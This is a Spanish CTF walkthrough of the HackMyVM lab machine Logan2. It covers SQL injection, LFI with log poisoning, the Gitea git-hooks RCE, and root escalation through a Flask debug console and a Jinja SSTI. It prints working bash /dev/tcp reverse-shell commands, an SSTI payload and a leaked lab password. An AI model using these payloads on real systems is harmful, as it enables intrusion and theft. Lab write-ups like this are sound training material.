HackMyVM - Logan2
- SQL-Injection/Time-Based Blind
- LFI to RCE/Log-Poisoning
- CVE-2020-14144 - GiTea authenticated RCE
- Interactive Console - Privesc
- SSTI - Privesc
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.140
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Escaneo de servicios
❯ nmap -sVC -v -p 22,80,3000 192.168.1.140
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
| 256 10:ed:dd:ab:26:fd:f4:9f:28:1e:89:93:f4:58:16:ab (ECDSA)
|_ 256 43:3b:d9:8c:12:44:e9:92:be:cf:1a:78:fd:33:38:67 (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-title: Logan
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.57 (Debian)
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=d90db38527a80575; Path=/; HttpOnly
| Set-Cookie: _csrf=R3etPCL9Ft-DUQSbuF14N29pU086MTY5NjMyMjMxNTU4NDYwOTUwMg; Path=/; Expires=Wed, 04 Oct 2023 08:38:35 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Tue, 03 Oct 2023 08:38:35 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
| <meta name="description" content="Gitea (Git with a cup of tea) is a painless
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=6ce0d8ae92e01053; Path=/; HttpOnly
| Set-Cookie: _csrf=ztc_N8-Jh9djSWXZygd69P_ONF86MTY5NjMyMjMyMDYwNjY1NDg5OA; Path=/; Expires=Wed, 04 Oct 2023 08:38:40 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Tue, 03 Oct 2023 08:38:40 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Page Not Found - Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
|_ <meta name="description" content="Gitea (Git with a c
HTTP TCP - 80
En el código fuente de script.js
veo que usa el archivo save-user-agent.php
.
Al interceptar la petición con burpsuite veo que manda la cabecera del user-agent
al archivo save-user-agent.php
.
Guardo la captura con copy to file
para usarlo con sqlmap.
❯ sqlmap -r agent --level 5 --risk 3 --dbs --batch
available databases [2]:
[*] information_schema
[*] logan
Buscando las tablas de logan.
❯ sqlmap -r agent --level 5 --risk 3 -D logan --tables
Database: logan
[3 tables]
+----------+
| browser |
| comments |
| users |
+----------+
Dumpeo de la tabla users y encuentro el subdominio newsitelogan.logan.hmv
.
❯ sqlmap -r agent --level 5 --risk 3 -T users --dump
Database: logan
Table: users
[1 entry]
+------------------------------+--------+
| email | user |
+------------------------------+--------+
| logan@newsitelogan.logan.hmv | logan |
+------------------------------+--------+
Añado el nuevo subdominio a mi archivo hosts y seguidamente lo visito con el navegador.
Fuerza bruta de extensiones.
❯ gobuster dir -u http://newsitelogan.logan.hmv/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://newsitelogan.logan.hmv/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/comments.php (Status: 500) [Size: 0]
/config.php (Status: 200) [Size: 0]
/images (Status: 301) [Size: 333] [--> http://newsitelogan.logan.hmv/images/]
/index.php (Status: 200) [Size: 51045]
/javascript (Status: 301) [Size: 337] [--> http://newsitelogan.logan.hmv/javascript/]
/server-status (Status: 403) [Size: 287]
En el código fuente veo en un comentario el archivo photos-website-logan.php
que parece que es el encargado de cargar imágenes.
Realizando enumeración básica encuentro un LFI.
❯ curl 'http://newsitelogan.logan.hmv/photos-website-logan.php?photo=../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:108:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
logan:x:1000:1000:logan,,,:/home/logan:/bin/bash
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
mysql:x:103:112:MySQL Server,,,:/nonexistent:/bin/false
git:x:104:113:Git Version Control,,,:/home/git:/bin/bash
kevin:x:1001:1001:kevin,,,:/home/kevin:/bin/bash
Con wfuzz realizo fuerza bruta para encontrar archivos que pueda leer.
❯ wfuzz -c -t 200 --hc=404 --hl=0 -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt 'http://newsitelogan.logan.hmv/photos-website-logan.php?photo=FUZZ' W 0 Ch "/etc/h
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
pd/logs/error_log"
Target: http://newsitelogan.logan.hmv/photos-website-logan.php?photo=FUZZ
Total requests: 922
pd/logs/error.log"
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000649: 200 4 L 79 W 724 Ch "../../../../../../../var/log/apache2/error.log"
000000645: 200 1508 L 18141 W 232056 Ch "../../../../../../../var/log/apache2/access.log"
Con curl leo el archivo access.log
.
❯ curl -s 'http://newsitelogan.logan.hmv/photos-website-logan.php?photo=../../../../../../../var/log/apache2/access.log'
Logs are cleaned every minut
192.168.1.17 - - [12/Oct/2023:06:55:02 -0500] "GET /photos-website-logan.php?photo=../../../../../../../var/log/apache2/access.log HTTP/1.1" 200 233 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0"
192.168.1.17 - - [12/Oct/2023:06:55:16 -0500] "GET / HTTP/1.1" 200 10751 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0"
192.168.1.17 - - [12/Oct/2023:06:55:17 -0500] "GET /photos-website-logan.php?photo=../../../../../../../var/log/apache2/access.log HTTP/1.1" 200 492 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0"
Al tener acceso al archivo access.log
realizo un log-poisoning
, en este caso uso el user-agent
para poner el código de la función phpinfo, con esta función puedo ver como está configurado el servidor php porque he tenido problemas para mandarme una shell.
Al mandar la petición con burpsuite puedo ver el phpinfo desde el access.log
.
Me doy cuenta de que existen algunas funciones deshabilitadas con lo cual no podré usar una shell para ganar acceso al sistema.
Anteriormente al realizar fuerza bruta de extensiones encontré varios archivos php así que voy a tratar de incluir los archivos con la función include()
y leerlos con los famosos filtros de php.
Con curl mando la petición junto el filtro php y obtengo la cadena en base64.
❯ curl -s 'http://newsitelogan.logan.hmv/photos-website-logan.php?photo=../../../../../../../var/log/apache2/access.log&c=php://filter/convert.base64-encode/resource=config.php'
192.168.1.17 - - [12/Oct/2023:09:00:24 -0500] "GET /photos-website-logan.php?photo=../../../../../../../var/log/apache2/access.log HTTP/1.1" 200 504 "-" "Mozilla/5.0 PD9waHAKCQoJJHNlcnZlcm5hbWUgPSAibG9jYWxob3N0IjsKCSR1c2VybmFtZSA9ICJsb2dhbiI7CgkkcGFzc3dvcmQgPSAiU3VwZXJfbG9nYW4xMjM0IjsKCSRkYm5hbWUgPSAibG9nYW4iOwoKCS8vIENyZWF0ZSBjb25uZWN0aW9uCgkkY29ubiA9IG5ldyBteXNxbGkoJHNlcnZlcm5hbWUsICR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZGJuYW1lKTsKCS8vIENoZWNrIGNvbm5lY3Rpb24KCWlmICgkY29ubi0+Y29ubmVjdF9lcnJvcikgewoJICBkaWUoIkNvbm5lY3Rpb24gZmFpbGVkOiAiIC4gJGNvbm4tPmNvbm5lY3RfZXJyb3IpOwoJfQoKPz4K AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36"
Decodifico la cadena y encuentro unas credenciales.
<?php
$servername = "localhost";
$username = "logan";
$password = "S****_*********";
$dbname = "logan";
// Create connection
$conn = new mysqli($servername, $username, $password, $dbname);
// Check connection
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
?>
Ahora visito el puerto 3000 y encuentro un servicio Gitea en el cual se puede ver que usa la versión 1.12.5
.
Inicio sesión con las credenciales encontradas.
Explorando el directorio de future_web
encuentro el archivo app.py
.
Con metasploit hago una búsqueda de gitea y encuentro un exploit RCE para Gitea 1.12.5
.
msf6 > search gitea
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
1 exploit/multi/http/gitea_git_hooks_rce 2020-10-07 excellent Yes Gitea Git Hooks Remote Code Execution
Configuro el exploit y lo lanzo.
msf6 exploit(multi/http/gitea_git_hooks_rce) > run
[*] Started reverse TCP handler on 192.168.1.17:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Gitea version is 1.12.5
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Authenticate with "logan/Super_logan1234"
[+] Logged in
[*] Create repository "Alphazap_Y-Solowarm"
[+] Repository created
[*] Setup post-receive hook with command
[+] Git hook setup
[*] Create a dummy file on the repo to trigger the payload
[+] File created, shell incoming...
[*] Sending stage (3045380 bytes) to 192.168.1.140
[*] Command Stager progress - 100.00% done (833/833 bytes)
[*] Meterpreter session 1 opened (192.168.1.17:4444 -> 192.168.1.140:57578) at 2023-10-12 16:56:32 +0200
[*] Cleaning up
[*] Repository Alphazap_Y-Solowarm deleted.
meterpreter >
Como la shell del meterpreter es bastante justa me lanzo una nueva shell.
meterpreter > bash -c "bash -i >& /dev/tcp/192.168.1.17/443 0>&1"
Una vez termino el tratamiento de la tty enumero permisos de sudo.
git@logan2:$ sudo -l
Matching Defaults entries for git on logan2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User git may run the following commands on logan2:
(ALL) NOPASSWD: /usr/bin/python3 /opt/app.py
Al lanzar app.py
crea un servidor web en python en el puerto 8000 y genera un pin.
git@logan2:~$ sudo /usr/bin/python3 /opt/app.py
* Serving Flask app 'app'
* Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:8000
* Running on http://192.168.1.140:8000
Press CTRL+C to quit
* Restarting with stat
* Debugger is active!
* Debugger PIN: 768-889-478
Visualizo la web desde el navegador.
Fuerza bruta de directorios.
❯ gobuster dir -u http://192.168.1.140:8000 -w /usr/share/seclists/Discovery/Web-Content/big.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.140:8000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/console (Status: 200) [Size: 1563]
/test (Status: 200) [Size: 160]
A partir de aquí hay dos formas de obtener el root
Método 1
Me voy al directorio console y me aparece un panel para ingresar un pin, aquí introduzco el pin que anteriormente me ha generado app.py
.
Una vez ingeso el pin me muestra una consola interactiva.
Importo el modulo os y con chmod le doy permisos SUID al binario bash.
Desde el usuario git obtengo el root de la siguiente forma.
git@logan2:~$ bash -p
bash-5.2# whoami
root
Método 2
Con curl visito el directorio /test
.
❯ curl -s 192.168.1.140:8000/test | html2text
Thank you None
En el código fuente de app.py se puede ver @app.route(""/test")
y el parámetro name.
Detecto un SSTI.
Para explotar la vulnerabilidad encuentro este recurso de PayLoadsAllTheThings para obtener un RCE.
Lanzo una shell de bash URL-Encodeada
desde el navegador.
http://192.168.1.140:8000/test?name={{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.17%2F443%200%3E%261%22').read() }}
Y finalmente obtengo la shell de root.
❯ nc -lvp 443
listening on [any] 443 ...
connect to [192.168.1.17] from newsitelogan.logan.hmv [192.168.1.140] 52748
root@logan2:/home/git# id
id
uid=0(root) gid=0(root) groups=0(root)
Y aquí termina la máquina Logan2.
Saludos!